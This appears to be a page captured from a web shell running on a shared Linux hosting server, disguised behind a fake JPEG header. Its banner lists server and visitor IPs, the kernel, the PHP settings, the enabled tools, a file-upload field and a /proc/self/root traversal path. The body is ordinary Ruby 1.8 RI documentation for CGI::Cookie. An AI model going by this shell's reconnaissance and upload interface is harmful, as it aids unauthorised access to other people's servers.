????JFIF??x?x????'
| Server IP : 104.21.30.238 / Your IP : 216.73.216.145 Web Server : LiteSpeed System : Linux premium151.web-hosting.com 4.18.0-553.44.1.lve.el8.x86_64 #1 SMP Thu Mar 13 14:29:12 UTC 2025 x86_64 User : tempvsty ( 647) PHP Version : 8.0.30 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /././proc/self/root/proc/self/root/opt/alt/ruby18/share/ri/1.8/system/CGI/Cookie/ |
Upload File : |
--- !ruby/object:RI::ClassDescription
attributes:
- !ruby/object:RI::Attribute
comment:
name: domain
rw: RW
- !ruby/object:RI::Attribute
comment:
name: expires
rw: RW
- !ruby/object:RI::Attribute
comment:
name: name
rw: RW
- !ruby/object:RI::Attribute
comment:
name: path
rw: RW
- !ruby/object:RI::Attribute
comment:
name: secure
rw: R
- !ruby/object:RI::Attribute
comment:
name: value
rw: R
class_methods:
- !ruby/object:RI::MethodSummary
name: new
- !ruby/object:RI::MethodSummary
name: parse
comment:
- !ruby/struct:SM::Flow::P
body: Class representing an HTTP cookie.
- !ruby/struct:SM::Flow::P
body: In addition to its specific fields and methods, a Cookie instance is a delegator to the array of its values.
- !ruby/struct:SM::Flow::P
body: See RFC 2965.
- !ruby/struct:SM::Flow::H
level: 2
text: Examples of use
- !ruby/struct:SM::Flow::VERB
body: " cookie1 = CGI::Cookie::new("name", "value1", "value2", ...)\n cookie1 = CGI::Cookie::new("name" => "name", "value" => "value")\n cookie1 = CGI::Cookie::new('name' => 'name',\n 'value' => ['value1', 'value2', ...],\n 'path' => 'path', # optional\n 'domain' => 'domain', # optional\n 'expires' => Time.now, # optional\n 'secure' => true # optional\n )\n\n cgi.out("cookie" => [cookie1, cookie2]) { "string" }\n\n name = cookie1.name\n values = cookie1.value\n path = cookie1.path\n domain = cookie1.domain\n expires = cookie1.expires\n secure = cookie1.secure\n\n cookie1.name = 'name'\n cookie1.value = ['value1', 'value2', ...]\n cookie1.path = 'path'\n cookie1.domain = 'domain'\n cookie1.expires = Time.now + 30\n cookie1.secure = true\n"
constants: []
full_name: CGI::Cookie
includes: []
instance_methods:
- !ruby/object:RI::MethodSummary
name: secure=
- !ruby/object:RI::MethodSummary
name: to_s
- !ruby/object:RI::MethodSummary
name: value=
name: Cookie
superclass: DelegateClass(Array)